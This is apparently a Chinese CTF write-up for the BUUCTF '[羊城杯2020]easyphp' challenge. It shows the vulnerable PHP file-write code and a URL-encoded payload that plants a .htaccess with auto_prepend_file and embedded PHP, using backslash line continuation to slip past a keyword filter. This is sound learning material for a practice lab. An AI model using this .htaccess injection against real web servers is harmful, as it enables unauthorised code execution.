「配枪朱丽叶。」 「配枪朱丽叶。」
  • 🏠 INDEX
  • 🚩 CTF
    • WEB
    • CRYPTO
    • MISC
  • 🌐 SITE
    • BUUCTF
    • XCTF
    • CTF.SHOW
    • BMZCTF
    • VULNHUB
    • BUGKU
    • HACKTHEBOX
  • 📔 NOTE
    • 学习笔记
    • 工具分享
    • 漏洞复现
  • 👩‍💻 ABOUT ME
  • 💬 COMMENT
  • 🏠 INDEX
  • 🚩 CTF
    • WEB
    • CRYPTO
    • MISC
  • 🌐 SITE
    • BUUCTF
    • XCTF
    • CTF.SHOW
    • BMZCTF
    • VULNHUB
    • BUGKU
    • HACKTHEBOX
  • 📔 NOTE
    • 学习笔记
    • 工具分享
    • 漏洞复现
  • 👩‍💻 ABOUT ME
  • 💬 COMMENT
我的主页 › 靶场 › BUUCTF › [羊城杯2020]easyphp1 min read
#BUUCTF#

[羊城杯2020]easyphp1 min read

2月前
24 0
<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

可以写入文件,限定当前目录下非”index.php”的文件都会被删除。

尝试?filename=index.php&content=<?php phpinfo();?>写入失败,不懂是什么原因0.0

考虑写入.htaccess文件,它比较灵活,不需要重启服务器,也不需要管理员权限。其格式为php_value 名称 值,在这里写入🐎(以注释的方式),然后在页面顶部加载它(auto_prepend_file)就行:

php_value auto_prepend_file .htaccess
#<?php phpinfo();?>

但是过滤了“file”这个关键字,且文件尾部自动加上了"\nHello, world",无法正常写入,正常写入会因为文件不符合.htaccess的书写规范而报错。为了解决这两个问题,我加了转义符可以换行且转义掉\n:

php_value auto_prepend_fil\
e ".htaccess"
#<?php phpinfo();?>
#\

payload:

?filename=.htaccess&content=php_value+auto_prepend_fi%5C%0D%0Ale+.htaccess%0D%0A%23%3C%3Fphp%20phpinfo()%3B%3F%3E%0D%0A%23%5C

同理,在根目录可得到flag,因为过滤了“flag”关键字,可以换成“fl??”。

0 0
Shaw Root
# buuctf# php# web# 代码审计
相关文章
virink_2019_files_share
[Vulnhub]GoldenEye: 1靶机通关记录
[SUCTF 2019]EasyWeb
[BMZCTF]WEB_ezphp
通过一道校赛题学习过滤单引号的注入
头像
Shaw Root站长
> 缓慢又笨拙的路上,谢谢你们陪我长大。
144文章 0评论 128获赞
随便看看:)
[安洵杯 2019]iamthinking
8月前
[安洵杯 2019]easy_serialize_php
6月前
[XMAN2018排位赛]记两道流量分析
10月前
[SUCTF2019]protocol
9月前
CTFd搭建(排错)笔记
11月前
  • 旧站
  • 我的知乎
  • Riro
  • 7i4n2h3n9
  • EDS
  • 熵增
  • 紫哥purplet
  • 夏风
  • N0vice
  • Ga1@xy
  • prontosil
  • FzWjScJ
  • Retr_0
  • L1near
  • 1p0ch
  • β-AS
  • Match
  • Dizzyk
  • Y1ng
  • 偏有宸机
  • Van1sh
  • Fstone
  • Kali’s Blog
  • Airtail
  • False
  • 魔法少女雪殇
Copyright © 2020-2021 「配枪朱丽叶。」. Designed by nicetheme. 百度统计 载入天数... 载入时分秒...